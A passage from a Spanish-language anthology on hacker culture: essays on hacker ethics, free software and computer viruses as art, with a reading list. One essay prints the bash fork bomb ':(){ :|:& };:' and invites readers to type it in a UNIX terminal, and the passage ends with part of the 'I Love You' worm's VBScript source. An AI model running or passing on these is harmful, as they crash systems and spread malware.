basa, en mayor o menor medida, en un código ético, interpretado y
compartido de diferentes maneras. ¿Cómo se la puede entender?

Hay unas pocas dimensiones que parecen abrir la perspectiva de
manera interesante.

Hacking – cracking. Los verdaderos hackers se cuidan de señalar que
las actividades de “hacking” maliciosas deberían llamarse “cracking”,
para hablar con corrección. Sin embargo, el problema está en dónde tra-
zar la línea. La policía, el mundo corporativo, el sistema judicial, etc.
adoptan una posición altamente restrictiva. Mucho de lo que los hackers
llaman exploración con fines de aprendizaje se halla normalmente
penado por la ley.

Antes de la web, la mayoría del “hacking”/“cracking” significaba
hallar computadoras en las redes, introducirse en ellas, merodear un
poco, quizás copiarse algunos archivos y luego dejar una “entrada tra-
sera” [backdoor] lista para ingresar de nuevo a conveniencia. Parte del
placer parecía estar en coleccionar direcciones de las computadoras a las
que el hacker había tenido acceso. También, por supuesto, estaba el
hecho de usar destrezas técnicas superiores para evadir el sistema de
seguridad.

El “hacking” y “cracking” en los ‘90 ha tomado formas más  visi-
bles. Alterar páginas web es muy popular, dada la enorme visibilidad
de los resultados. Esto significa básicamente “crackear” una computa-
dora en la que funciona el servidor de una página web y colocar allí las
páginas propias en lugar de la información original. Attrition
(http://www.attrition.org/) contiene una extensa colección de páginas
web modificadas.

Dada la naturaleza pública de los servidores de correo y páginas
web, éstos pueden “crackearse” también sin acceder a la computadora
en la que se ejecutan. Los ataques por Negación-de-servicio [Denial-of-
service] a servidores públicos, que implican enviar millones de peticio-
nes de acceso a los servidores de manera simultánea desde muchas
direcciones, son bastante frecuentes. El bombardeo de casillas de mail



puede verse como una variación de lo mismo.
La creación y difusión de virus es otra forma de “hacking”/“crac-

king” que se ha potenciado con el crecimiento de Internet. Los e-mail
son hoy, lejos, el medio más común por el que viajan virus y troyanos.

Propósitos. La cultura hacker académica ve a la intrusión como un
medio de aprender más acerca de las computadoras y las redes. Si los
datos son alterados, esto se hace típicamente como una broma práctica.
En general, los hackers ven la intrusión como algo inofensivo.

Otro argumento común de los hackers para exponer los baches de
seguridad mediante la intrusión es ayudar a construir sistemas más
seguros en el futuro.

En contra de la norma hacker tradicional de mantener un perfil
bajo, muchas de las modificaciones de páginas web son al estilo
graffiti. No existe ningún propósito definido, sólo el mensaje triunfante
de los crackers. La expresión común es “Ud. ha sido hackeado por el
grupo X”, seguido de una firma con imágenes estilo graffiti.

El “hacking”/“cracking” se ha utilizado muchas veces para vengan-
zas personales. No es raro para los oficiales de policía que investigan
crímenes informáticos que reciban cuentas de tarjetas de crédito y de
teléfono con montos gigantescos. Un hacker logró acceder a, por ejem-
plo, la compañía de teléfonos y manipuló las bases de datos. 

El activismo político es otra razón para el “hacking”/“cracking”. El
sitio web de Telia en Suecia fue modificado en 1996 como resultado del
creciente descontento con el monopolio y la política tarifaria de los ser-
vicios de Internet. El Frente de Liberación Animal de Suecia atacó el
Smittskydds Institutet y el Karolinska Institutet repetidamente en 1998
y 1999 para detener los experimentos innecesarios con animales. Un
grupo internacional conocido es PHAIT (Portuguese Hackers Against
Indonesian Army [Hackers Portugueses Contra el Ejército de Indonesia]),
que atacó varias veces a las autoridades de Indonesia en 1997, motivado
por la situación en Timor del Este.

Cyberpunk – extropismo. Linus Walleij define a un cyberpunk como

una persona en una sociedad altamente tecnificada que posee infor-
mación y/o conocimiento que el poder gobernante preferiría haber
reservado para sí.
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El cyberpunk es, en esencia, una postura pesimista a nivel general,
en la cual la sociedad es vista como estructuras de sistemas globales de
información que gobiernan a las personas. Las visiones del futuro son
distópicas. Sin embargo, el cyberpunk/hacker posee las destrezas nece-
sarias para sobrevivir y prosperar en un mundo así. De ahí que se de un
giro optimista en el nivel individual de lucha contra el sistema.

La noción de lucha contra sistemas opresivos se extiende también a
las limitaciones del cuerpo humano. Drogas inteligentes, implantes y
cyborgs son parte de la mitología asociada al cyberpunk.

Mientras que el cyberpunk es distópico, el extropismo se concentra
en las consecuencias positivas para la sociedad. El término extropía es el
inverso de entropía, y significa que podemos proseguir superando
nuestras limitaciones por medio de nuevas tecnologías. La experimen-
tación persistente y el desarrollo de tecnología conducirán a mayor
libertad para el individuo y menos opresión. Una condición necesaria es
que individuos libres (en vez de corporaciones o autoridades) se hagan
cargo del desarrollo.

La(s) cultura(s) hacker vista desde afuera

Los periodistas, investigadores y otros que se encuentran con
hackers/crackers suelen comentar su necesidad obsesiva de jactarse de
sus logros. Uno podría imaginar que una estructura social donde el
único criterio de evaluación es el conocimiento, necesita la exhibición
para mantener en juego el orden. Sin embargo, esta observación contra-
dice el principio ético de mantener un perfil bajo.

Se pueden hacer varias interpretaciones. Podría ser que el principio
ético que dedujo Mizrach debería leerse en realidad como “No dejes
huellas en las computadoras que hackees”. Otra posibilidad es que los
que alardeen sean los aspirantes; los hackers consagrados no necesitan
hacerlo. Otra, que los periodistas, investigadores, etc. construyen una
imagen de los hackers tal como les gustaría que fuesen.

Lo que está claro, sin embargo, es que la meritocracia del conoci-
miento (informático) puede dificultar que se evite la arrogancia y la
exhibición a la vista del público. Un ejemplo puede leerse en el anuncio
de la página de Linus Walleij:

Aviso: Yo, Linus Walleij, publiqué estas páginas por razones perso-

CULTURA(S) HACKER 147



nales y políticas. Suelo usar cantidades balanceadas de lenguaje obsce-
no y violento, así como argot, dado que pienso que sirve para sacudir
cerebros dormidos. Si pensás que esto te puede molestar (o sea, no que-
rés despertar el cerebro), salí ya mismo. Esta es una página para gente
madura, centrada y adulta. Si se te ocurre escribirme por cualquier
tema relacionado con las páginas o mi persona en general, por favor
considerá que quiero críticas constructivas. Esto significa que no tenés
que escribir: “Esta página me enferma”, sino más bien: “Esta página me
enferma, porque...” y así. Correo que me parezca estúpido, arrogante,
ignorante o aburrido será tirado a la basura sin más. Apretar cualquie-
ra de los links que siguen significa que estás de acuerdo conmigo en
esto.

Otro rasgo muy visible de los hackers es su devoción por el
“hacking”. En 1976, Joseph Weizenbaum (reconocido crítico de la
Inteligencia Artificial) describió el fenómeno de la “programación com-
pulsiva” en el libro Computer power and human reason:

En cualquier lugar donde se hayan establecido centros de cómputos,
es decir, en innumerables lugares de Estados Unidos, y virtualmente en
todas las demás regiones industriales del mundo, jóvenes brillantes de
aspecto descuidado, con ojos muchas veces hundidos y rojos, se pue-
den encontrar sentados en consolas de computadoras, sus brazos
extendidos listos para ejecutar, sus dedos ya dispuestos para apretar
los botones y teclas en los que su atención parece estar tan absorbida
como la del jugador en la tirada de dados. Cuando no se transfiguran
tanto, suelen sentarse en mesas cubiertas de impresos de computado-
ras sobre los que se tienden como poseídos estudiantes de un texto
cabalístico. Trabajan hasta que se caen, veinte, treinta horas cada vez.
Su comida, si la organizan, se la traen: cafés, Cocas, sandwichs. Si se
puede duermen en colchones cerca de la computadora. Pero sólo unas
pocas horas; luego, de vuelta a la consola o a los impresos. Su ropa
arrugada, sus caras sin afeitar ni lavar, y sus pelos revueltos, todo
muestra que se hallan evadidos de sus cuerpos y del mundo en el que
se mueven. Existen, al menos cuando lo consiguen, sólo a través de y
para las computadoras. Son vagabundos informáticos, programadores
compulsivos. Son un fenómeno internacional.8
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8. Joseph Weizenbaum, Computer power and human reason: from judgment to
calculation. San Francisco, W.H. Freeman, 1976 (hay trad. cast.: La frontera entre el
ordenador y la mente. Madrid, Pirámide, 1978). (N. del E.)
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Una versión diferente de la misma descripción se centraría quizás
en la intensa concentración, la satisfacción personal y los ricos inter-
cambios sociales en y alrededor de una buena sesión de programación.

Sherry Turkle entrevistó a diversos hackers sobre sus relaciones con
las computadoras como parte de la investigación para su libro The
second self. Su explicación del poder de atracción de las computadoras se
centra en el control y la compensación. La computadora ofrece un uni-
verso predecible donde el usuario posee poderes divinos de crear y des-
truir una vez que las destrezas necesarias fueron adquiridas. También
señala las fuertes normas estéticas de la programación.

La asociación percibida entre cultura(s) hacker y crimen informáti-
co es un tema central. No hay lugar aquí para tratarlo bien. Buenas fuen-
tes son Walleij: Copyright finns inte, version 3.0 (en sueco; en
http://www.df.lth.se/~triad/book/)9 y Sterling: The Hacker Crackdown
(New York, Bantam Books, 1992).10 Al pasar, debe señalarse que (1) los
hackers tradicionales reivindican la distinción entre hackers y crackers,
(2) muchos de los delitos informáticos anunciados por los medios no
son “hackeadas”, y (3) la mayoría de los principios éticos son suficien-
temente flexibles para abarcar varias motivaciones y propósitos perso-
nales (incluyendo los ilegales).

Fuentes seleccionadas

Esta es una breve lista con algunas de las fuentes que considero esen-
ciales. Cada una contiene gran número de referencias y punteros para
seguir explorando.

Attrition (http://www.attrition.org/). Una colección de materiales de y
para las culturas hacker. Véase en particular el extenso archivo de copias
de sitios web modificados por crackers.

9. Hay trad. inglesa: Copyright does not exist, en http://svenskefaen.no/cdne/  (N.
del. E)
10. Hay versión en Internet: 
http://www.eff.org/Misc/Publications/Bruce_Sterling/Hacker_Crackdown/ (hay
trad. cast.: La caza de hackers, http://banners.noticiasdot.com/termometro/boleti
nes/docs/consultoras/hackers/75-Lacazade272621.pdf). (N. del E.)



Free Software Foundation ([Fundación Software Libre]
http://www.fsf.org). Describe los orígenes y el status del proyecto GNU,
iniciado por Richard Stallman en 1984 para desarrollar una versión libre
de UNIX. Los componentes de GNU hoy son ampliamente usados junto al
más famoso kernel de Linux.

Katie Hafner y John Markoff: Cyberpunk: outlaws and hackers on the
computer frontier. London, Corgi Books, 1993. Las historias de tres famosos
hackers: Kevin Mitnick, Pengo y Robert Tappan Morris. Escrito con estilo
periodístico y centrado en el enfoque humano, muy fácil de leer.

Douglas Hofstadter: Gödel, Escher, Bach: An eternal golden braid. Un clásico
de culto entre científicos (y hackers). Hofstadter conecta matemáticas,
música e imaginaciones con temas de Inteligencia Artificial [hay trad.
cast.: Gödel, Escher, Bach: un eterno y grácil bucle. Barcelona, Tusquets, 1989].

Tracy Kidder: The soul of a new machine (Boston, Little-Brown, 1981). La his-
toria de cómo Data General desarrolló su primera minicomputadora.
Captura el espíritu “Sociedad de los Poetas Muertos” del “hacking” coo-
perativo e intenso. 

New Hacker´s Dictionary, editado por Eric S. Raymond. El lenguaje es un
componente fuerte de toda cultura. Sin excepciones para la(s) cultura(s)
hacker. Este diccionario es un clásico (http://www.hack.gr/jargon/). [hay
versión en papel: The New Hacker’s Dictionary. Cambridge, MIT Press,
1996].

Jörgen Nissen: Pojkarna vid datorn. Symposion Graduate, 1993. Una tesis
de doctorado de sociología en sueco sobre la cultura hacker de aficionados
en Suecia.

Phrack (http://www.phrack.org/). Una revista hacker histórica, publicada
en forma gratuita desde 1985 a través de BBS´s y más recientemente por
Internet. 

Eric S. Raymond: The cathedral and the bazaar
(http://www.catb.org/~esr/writings/cathedral-bazaar/). Un análisis de por
qué funciona el concepto de código abierto de Linux [hay trad. cast.: La
catedral y el bazar, http://es.tldp.org/Otros/catedral-bazar/cathedral-es-
paper-00.html#toc1/]. 
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————, “Homesteading the noosphere” (en
http://www.catb.org/~esr/writings/cathedral-bazaar/). Un ensayo sobre
propiedad y pertenencia en la cultura de código abierto [hay trad. cast.:
“Cultivando la noosfera”, en http://www.geocities.com/jagem/noosfera.html].
————, “The magic cauldron” (en 
http://www.catb.org/~esr/writings/cathedral-bazaar/). Sobre la economía
del software de código abierto [hay trad. cast.: “El caldero mágico”, en
http://www.alanta.info/MagicCauldron.html].

Howard Rheingold: Tools for thought, 1985 
(http://www.rheingold.com/texts/tft/). Un buen texto sobre la historia de
la(s) cultura(s) hacker, con énfasis puesto en el “hacking” académico en
EE.UU. [hay versión en papel: Tools for thought: The History and Future of
Mind-Expanding Technology. Cambridge, MIT Press, 2000].

Bruce Sterling: The hacker crackdown: law and disorder on the electronic
frontier (New York, Bantam Books, 1992). La historia de la Operación
Sundevil, un intento a gran escala de las autoridades de EE.UU. de “com-
batir el delito informático” y encarcelar hackers. El libro se halla disponi-
ble en diversos formatos en la Electronic Frontier Foundation [hay trad.
cast.: La caza de hackers, http://banners.noticiasdot.com/termometro/boleti-
nes/docs/consultoras/hackers/75-Lacazade272621.pdf].

Clifford Stoll: The cuckoo´s egg (New York, Doubleday, 1989). Describe la
búsqueda de Stoll en pos de un hacker infiltrado en su sistema de los
Laboratorios de Lawrence, Berkeley; una búsqueda que lo lleva hasta
Europa del Este. El enfoque conspirativo del libro de Stoll se equilibra con
el relato de la misma historia que hacen Hafner y Markoff (ver supra) [hay
trad. cast.: El huevo del cuco. Barcelona, Planeta, 1990].

Sherry Turkle: The second self (New York, Simon and Schuster, 1984). Un
estudio psicológico de los hackers (entre otros grupos) y sus relaciones
con las computadoras [hay trad. cast.: El segundo yo: las computadoras y el
espíritu humano. Buenos Aires, Galápago, 1984].

Linus Walleji: Copyright finns inte, version 3.0
(http://www.df.lth.se/~triad/book/). El mejor texto en sueco sobre culturas
hacker que vi. Muy amplio; algunos materiales sobre la historia de las cul-
turas hacker en Suecia son únicos [hay trad. inglesa: Copyright does not
exist, http://svenskefaen.no/cdne/]. 
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jaromil es un hacker italiano. Se define como
“amante de la libertad y desarrollador de softwa-

re, artista y mediactivista, performer y emigrante”.
En 2000 dio inicio al proyecto Dyne.org en el que
participa un colectivo de programadores para crear
una versión portátil del sistema Linux. Otros pro-
gramas que impulsa son MuSe, HasciiCam y FreeJ.
Para más información puede visitarse su página en
http://www.rastasoft.org/.

“Las aves marinas de Neruda” fue publicado por
jaromil en su página web en octubre de 2001.

“:(){ :|:& };:” es la nota de presentación para la
muestra sobre virus informáticos “I Love You”, en el
Museo de Artes Aplicadas, Frankfurt, Alemania,
2002.



1. PRELUDIO

“La destruction de la conscience individuelle représente pourtant une haute
idée de culture, c’est une idée profonde de la culture d’ou dérive une forme
toute nouvelle de civilisation. Ne pas se sentir vivre en tant qu’individu
revient à échapper à cette forme redoutable du capitalisme que moi, j’appelle
le capitalisme de la conscience puisque l’âme c’est le bien de tous.”1

Antonin Artaud, “Messages révolutionnaires”
3 de junio de 1936

2. PANORAMA

(sobre las teorías de Eben Moglen)

2.1 horizontalidad y red

El crecimiento de la red hizo que se hiciera todavía más factible la
alternativa no-propietaria.2 Lo que a nivel popular y académico se nom-
bra como una cosa (“la Internet”) en realidad es una condición social: el
hecho de que en la sociedad red todos están conectados directamente,
sin intermediarios, a todos los demás. La interconexión global de las

[153]

Las aves marinas de Neruda*
jaromil

* “Neruda’s sea birds”. Traducción de Carlos Gradin.
1. “La destrucción de la conciencia individual representa por lo tanto un alta idea
de cultura, una idea profunda de la cultura de donde deriva una forma totalmente
nueva de civilización. No sentirse vivo en tanto que individuo, es el precio a pagar
por escapar de esta forma temible de capitalismo que yo llamo capitalismo de la
conciencia porque el alma es propiedad de todos.” (N. del T.)
2. Sin restricciones por derechos de autor. (N. del T.)
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redes eliminó el cuello de botella que obligaba a que en la era de los
mainframes3 un fabricante de software centralizado regulara y distribu-
yera los productos de la innovación individual. 

2.2 libertad inherente a los flujos de bits

El software –ya sean programas ejecutables, música, arte visual,
poesía, armamento, o lo que sea– consiste en flujos de bits, que de mane-
ra básicamente indistinta son sometidos a una confusa multiplicidad de
categorías legales. Esta multiplicidad es inestable a largo plazo por
razones inherentes a los procedimientos legales. La inestabilidad de las
normas se origina en la necesidad de diferenciar distintos intereses y
derechos de propiedad respecto de los flujos de bits. Esta necesidad la
padecen fundamentalmente aquellos que esperan beneficiarse con las
formas socialmente aceptadas de monopolio derivadas de tratar a las
ideas como propiedad privada. Aquellos de nosotros que nos inquieta-
mos por la inequidad social y la hegemonía cultural generadas por este
régimen intelectualmente insatisfactorio y moralmente repudiable pro-
vocamos gritos de escándalo. Los que nos gritan a nosotros creen que
estas leyes de propiedad son necesarias no por cierto deseo manifiesto
de vivir en el Murdochworld4 –aunque un poco de cooptación nunca está
de más–, sino porque pretenden demostrar con la metáfora de los incen-
tivos –que ellos toman no como simple metáfora sino como argumento–
que estas leyes –a pesar de sus lamentables consecuencias– son impres-
cindibles para crear software de calidad. La única forma de seguir sos-
teniendo esto es ignorando los hechos. En el corazón de la revolución
digital, en los flujos de bits de los programas ejecutables que hacen posi-
ble que todo lo demás funcione, los regímenes de propiedad no sólo no
mejoran las cosas, pueden empeorarlas terriblemente. 

2.3 derechos de autor vs. progreso

Las nociones de propiedad, además de lo que tengan de malo, no
alientan el progreso y de hecho lo han retardado. En la sociedad red el

3. Computadora central que asume el trabajo de procesar los datos, a la que se
conectaban los usuarios a través de terminales. (N. del T.)
4. Por Rupert Murdoch, dueño de la empresa de noticias y entretenimiento 20th
Century Fox. (N. del T.)
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anarquismo (o, mejor dicho, el individualismo anti-posesivo) es una
filosofía política viable. Uno de los problemas principales del anarquis-
mo como sistema social radica en los costos de transacción. Pero la revo-
lución digital cambia dos aspectos de la economía política que han per-
manecido invariables a lo largo de la historia humana. Todo el software
posee un costo marginal cero en el mundo de la Red, mientras que los
costos de coordinación social se han reducido al punto de permitir la
rápida formación y disolución de agrupamientos sociales enteros, a
gran escala y con gran diversidad, sin limitaciones geográficas. 

3. IDENTIDAD

3.1 algunas dudas íntimas 

(tomado de un ensayo de Jonathan Alex Gold)

Hasta ahora yo pensaba que era un científico. Yo pensaba que era
un filósofo; un matemático, que estudiaba los algoritmos y sus demos-
traciones en la gran tradición de Euclides y Gauss y, por supuesto,
al-Khwarizimi. Hubiera jurado que esto era lo que hacía. Pero, por lo
que me llega de las noticias, y por lo que la gente me dice acerca de mí,
no se trata de eso.

Resulta que soy un ingeniero de la ola punto com. Me quedé sin
habla cuando me enteré. Contra lo que yo pensaba que hacía, en reali-
dad estaba ocupado en diseñar algo así como “el nuevo mundo-ciber-
inter-web de la tecnología de mañana del presente del futuro”. Si te
incomoda el hecho de que esta frase no te sugiera ningún sentido, te
entiendo. De hecho, parece que yo me encargo de crearlo, y ni siquiera
sé lo que es. 

Encima de esto, parece que si no estoy ocupado, generando “la tec-
nología de mañana, hoy”, estoy trabajando sin parar toda la noche en un
pequeño cuarto sin ventanas, bebiendo litros de café y persiguiendo mi
sueño de convertirme en el nuevo Bill Gates; en el nuevo joven brillan-
te as de las computadores que revoluciona la internet con sistemas á la
Napster, listo para dar el salto con un software escrito en mi garage para
llegar a la cima de un nuevo imperio, donde por mi cuenta y en buena
ley de tareas en paralelo dejo muertas a las damas con mi saber sobre el
esquema cliente-servidor mientras seduzco a bancos y difusos fondos



de inversión para que entren a mi guarida de posters de Calabozos &
Dragones y a salas de chat donde los convenzo con mi historieta super-
digitalizada para que larguen sus billetes con la promesa de la nueva
gran I.P.O.5 que va a reventar el Nasdaq y ser la sensación. Y simultá-
neamente planeo meterme en sus sistemas de seguridad para de ahí
acceder al Departamento de Estado en un plan delirante de hacker per-
dido y alucinado para anotar a Mickey Mouse como enviado de la segu-
ridad nacional en Pakistán. No tenía idea de que estaba tan ocupado y
metido en esto.

Ya me cansé, sólo de leer sobre mí.
Perdí el dominio de mi identidad. Parece que ahora le pertenece a

Microsoft y Ebay, a Time y Newsweek, a Dateline e Intel. Trato de recor-
dar si acaso se la vendí a ellas y después me olvidé. He revisado mi alma
en busca de alguna señal de la operación, algún recibo de venta, y no
puedo encontrar nada. He estado tratando de recordar algún momento
en particular en que quizás haya ocurrido algún malentendido y este
tipo de empresas hayan empezado a creer que son las dueñas de mi
identidad.

4. CANTO

4.1 El Canto General de la Humanidad

En la costa de Chile donde vivía Neruda
todos saben que

las aves marinas suelen robar 
cartas de los buzones

que les gustaría leer 
por varias razones

¿Debo enumerar las razones?
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5. Initial Public Offer: Primera oferta pública de acciones de una compañía. (N. del
T.)
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son muy evidentes
incluso a pesar del silencio de los pájaros sobre el tema

(salvo cuando hablan de ello 
entre sí 

con gritos)

Antes que nada 
roban las cartas porque 

sienten que el Canto General 
de las palabras de todos

oculto en las cartas 
debe contener ciertamente las llaves 

del corazón mismo de la humanidad
que los pájaros por su cuenta 

nunca han podido sondear 
(albergan grandes dudas, de hecho, 
de que en realidad existan 

corazones dentro de los hombres)
Y entonces estos pájaros tienen otra sensación,

de que su propio Canto General
podría de alguna manera enriquecerse 

con estos extraños gritos de los hombres
(Qué rara idea de mente de pájaro

que nuestros gorjeos podrían iluminarlos)

Pero cuando robaron
y huyeron con las cartas de Neruda 

de su buzón en Isla Negra
estaban de hecho robando su propio Canto General                     

que él había recogido originalmente 
de ellos 

de su vasta visión
omnívora y extasiante. 
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Pero ahora que Neruda está muerto
no se escriben más aquellas cartas

y deben tocar de oído otra vez —
la canción grande y alta

en el corazón de nuestra sangre y silencio.

Lawrence Ferlinghetti – Cuernavaca, 26 de octubre de 1975
.



Preludio

Cualquier discusión sobre el software como arte debe tener en
cuenta todo el proceso creativo vinculado a su concepción y realización,
lo cual lleva a una nueva operabilidad dentro del dominio digital: nues-
tra atención está puesta aquí en los códigos fuentes,1 el fascinante
mundo del álgebra y de los algoritmos que se puede observar en
muchas expresiones de forma dentro de la inmanencia digital, todas las
cuales pueden reformularse y producir sentido.

Los códigos fuentes, o mejor los algoritmos y el álgebra, son las
herramientas del artesano digital de la edad moderna con más de mil
años de teorías matemáticas por detrás;2 sólo por poco más de un cuar-
to de siglo han actuado como software. El software es un medio para
crear arte y comunicar. Es una metaliteratura que define de qué manera
pueden transportarse y (re)producirse sentidos al multiplicar las posi-
bilidades de su comunicación. En tanto medio de metacomunicación, el

[159]

:(){ :|:& };:*
jaromil

* “:(){ :|:& };:”. Traducción de Carlos Gradin.
1. Código fuente significa una formulación de instrucciones expresadas en un len-
guaje interpretable por una computadora y ligado, por lo tanto, a una serie de
patrones lógicos y condicionales que, una vez interpretados y puestos en marcha,
producen un resultado. Este resultado varía según las condiciones externas consi-
deradas por el código fuente, las cuales son el medio por el que nosotros interac-
tuamos con su ejecución. Cada lenguaje está definido por una gramática que, even-
tualmente, es interpetada por un compilador que “metaboliza” su contenido
semántico (instrucciones) y produce así un “código binario” en condiciones de ser
ejecutado por la computadora. 
2. El término algoritmo deriva del nombre de Muhammad Bin Musa al-Khwarizmi,
matemático que vivió en Bagdad entre 813 y 833 D.C.
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software representa a la Parole [habla] (citando a Saussure), que deriva
su ejecución de una Langue [lengua], por ejemplo del universo lingüísti-
co y gramatical del código. El ejercicio metafísico se torna recursivo
aquí: aunque muchos ven al código fuente sólo como un oscuro cripto-
grama, éste posee un efecto indirecto en el modo en que nos comunica-
mos y aún más en la eficacia con la que lo hacemos.

Con todo esto en mente, ahora centrémonos en el fenómeno de los
programas conocidos como virus. Éstos consisten en una combinación
de actos poéticos de rebelión, síntomas políticos y estructurales, inten-
tos de acceder a las fisuras de la red explorando su permeabilidad; inte-
ligencias artificiales (rara vez dañinas, aclarémoslo), que han poblado el
universo digital desde sus inicios.

Bohemia Digital

Al considerar al código fuente como literatura, estoy retratando los
virus como “poesía maldita”, como provocación contra aquellos que
venden la red como una zona liberada para la sociedad burguesa. Las
relaciones, fuerzas y leyes que gobiernan el dominio digital difieren de
las del mundo natural. El dominio digital produce una forma de caos –a
veces incómoda por lo inusitada, aunque productiva– dentro de la cual
surfear: en ese caos los virus son composiciones espontáneas, líricas por
provocar imperfecciones en máquinas hechas para “funcionar” y por
representar la rebelión de nuestros siervos digitales.

Podría parecer que esta idea de comparar los virus con poesía lírica
sólo la pueden apreciar aquellos que cuentan con conocimientos técni-
cos específicos, pero esto no es así. De hecho, este es uno de los propó-
sitos de la exhibición I Love You de digitalcraft.org, que explora los
aspectos tantas veces negados de una “bohemia digital”. Ésta logra que
la red por la que hoy navegamos sea más orgánica, al diseñar nuevos
modos de circulación para que la información viaje en ella, a la vez que
genera una estética, en el verdadero sentido de la palabra, que muchas
veces ha permeado en el llamado net-art.

El caos:

El último acto posible es el que define a la percepción misma, un cor-
dón dorado invisible que nos conecta: fiestas ilegales en los pasillos del
Palacio de Justicia. Si te fuera a besar aquí dirían que es un acto de
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terrorismo –así que llevemos nuestros revólveres a la cama y a media-
noche despertemos a la ciudad como bandidos borrachos, celebrando a
los tiros el mensaje del sabor del caos.

Hakim Bey
Ahora tipea :(){ :|:& };: en cualquier terminal UNIX.3

Anticuerpos de Internet

Así como un organismo se defiende a sí mismo contra las enferme-
dades que lo infectan, la red ha reaccionado produciendo anticuerpos
que atacan los bugs4 de distintos tipos de software defectuoso. Un tipo
particular de virus que se difundió últimamente es el gusano, que se
transmite básicamente a través de programas de e-mail y servidores.
Los fabricantes de software vulnerable siguen tratando de mejorar la
seguridad de sus productos, lo que para nosotros quiere decir la priva-
cidad de nuestras comunicaciones. 

En sentido político, vemos que la reacción de muchos escritores de
virus, que se destacan en la red por su conocimiento profundo de los
elementos que componen a ésta, fue precisamente provocada por el
abordaje monopolista y corporativo de ciertos grandes grupos del mer-
cado que sueñan con convertir la red en un shopping virtual para sus
propios modos de hacer negocios, sin respeto por la horizontalidad de
las relaciones de los ciudadanos que la habitan. Hasta ahora ha habido
infinidad de intentos de disminuir la velocidad a la que puede circular
la información, que van desde la censura a las restricciones de
copyright, con el objetivo claro de centralizar sus flujos:5

3. Esta combinación de caracteres desencadena un ciclo ad infinitum de ejecución de
programas/procesos que inevitablemente terminan por saturar la memoria de la
computadora, haciendo colapsar el sistema. Estas creaciones conocidas como
“bombas lógicas” son ampliamente utilizadas por hackers en diversos sistemas
operativos como Windows o Unix. La “bomba” creada por jaromil es considerada,
por lejos, con sus 13 caracteres y su aspecto inofensivo, la más breve y elegante de
todas las conocidas hasta el momento. (N. del T.)
4. Bug: error en un programa que pasa desapercibido para sus creadores. Los bugs
de los programas comerciales como Windows son empleados a veces por los
hackers para superar la seguridad de los sistemas sin ser descubiertos. (N. del T.)
5. “Intellectual Property: the Attack on Public Space in Cyberspace” (en
http://www.gseis.ucla.edu/~howard/Papers/pw-public-spaces.html/) por Howard
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Desde los primeros días de la computadora personal, el ciberespacio
fue visto como un medio para recuperar espacios públicos ante su pro-
gresiva desaparición. Lee Felsenstein, uno de los creadores de la com-
putadora personal, impulsaba el uso de esta herramienta para reesta-
blecer un sentido comunitario de la información (Felsenstein).
Felsenstein y muchos de sus amigos pioneros soñaron que la Internet
pudiera brindarle a un vasto público un espacio que reflejara sus diver-
sos intereses y promoviera la creatividad y la libertad de expresión.

Por muchos años el discurso masivo encasilló a la Internet como una
zona de diversidad y libre expresión donde “cualquiera puede ser un
creador”. Pero desde los primeros días de la Web, las áreas públicas de
la Internet empezaron a rodearse de vallas, cada vez más. En 1994 este
autor advirtió sobre el “efecto colonizador” que los intereses comercia-
les tendrían en el espacio público que por entonces representaba
Internet (Besser, 1994). Y en 1995, discutió sobre cómo el control por
parte de grandes industrias pasaría por encima de los beneficios públi-
cos y la diversidad que la Internet había prometido. Casi una década
más tarde, vemos cada vez más vallados los espacios de Internet, y las
acciones de las personas cada vez más rastreadas y almacenadas.

Howard Besser

Los virus son un síntoma político de una comunidad que sigue
siendo extremadamente vasta, y su prohibición no soluciona los proble-
mas que se derivan de ellos. Lo mismo es cierto respecto del “hacking”
y el anonimato.

Rizografía

Un escritor de virus está interesado en explorar la permeabilidad de
la red. Un rizoma como el de Internet con tantas dimensiones, y con
dimensiones de este tipo, no se puede representar en ningún mapa;
muchos lo intentaron pero hasta ahora ninguno lo logró. Sus extensio-
nes podrían delinearse siguiendo una ruta, sondeando dónde se bifur-

Besser, profesor asociado en la Escuela de Educación e Información de la UCLA
[University of California in Los Angeles], quien describe cómo diversas industrias
están usando su influencia y el copyright para limitar el acceso público en vastas
zonas de Internet.
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ca, y persiguiendo sus direcciones y conexiones. Al inyectar un medio
contrastivo en el organismo para trazar su forma y estructura se produ-
cirá un angiograma que mostrará la configuración básica de sus venas.

Sólo queda hacer un esfuerzo y considerar los orígenes del Instinto
de Exploración tal como se presenta en nuestra propia historia, la histo-
ria del mundo orgánico tal como lo conocemos.

Quisiera agradecer a digitalcraft.org por su atención e interés en
nuestro trabajo. Ha sido un honor para mí contribuir con esta experien-
cia colectiva por la cual se ha mostrado tanto entusiasmo. Muchas gra-
cias a Franziska Nori, Florian Cramer, Andreas Broeckmann,
Alessandro Ludovico, Garderobe23 / Kunstfabrik Berlin, Woessel; en
solidaridad con todos los que aún resisten. Para todos los que siguen
peleando: ¡no se detengan! 

(Nota de Presentación para la muestra I Love You sobre virus 
informáticos, Museo de Artes Aplicadas, Frankfurt, 2002)

Copyleft 2002 (http://korova.dyne.org/)
Se permite copiar, distribuir, y/o modificar este documento bajo los términos
de la Licencia de Documentación Libre GNU, Versión 1.1 o cualquier versión
posterior publicada por la Free Software Foundation; permaneciendo inva-
riantes todas las secciones. Se concede permiso para hacer y distribuir copias
de este documento mientras esta nota se mantenga en todas las copias.
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“I Love You”

Este es un extracto con las primeras l íneas del  código fuente del  virus
“I  love you”,  que infectó a mil lones de computadores poco después de
su aparición el  4 de mayo de 2000.

rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group /
Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=””
ctr=0
Set fso = CreateObject(“Scripting.FileSystemObject”)
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject(“WScript.Shell”)
rr=wscr.RegRead(“HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout”)
if (rr>=1) then
wscr.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout”,0,”REG_DWORD”
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&”\MSKernel32.vbs”)
c.Copy(dirwin&”\Win32DLL.vbs”)
c.Copy(dirsystem&”\LOVE-LETTER-FOR-YOU.TXT.vbs”)
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
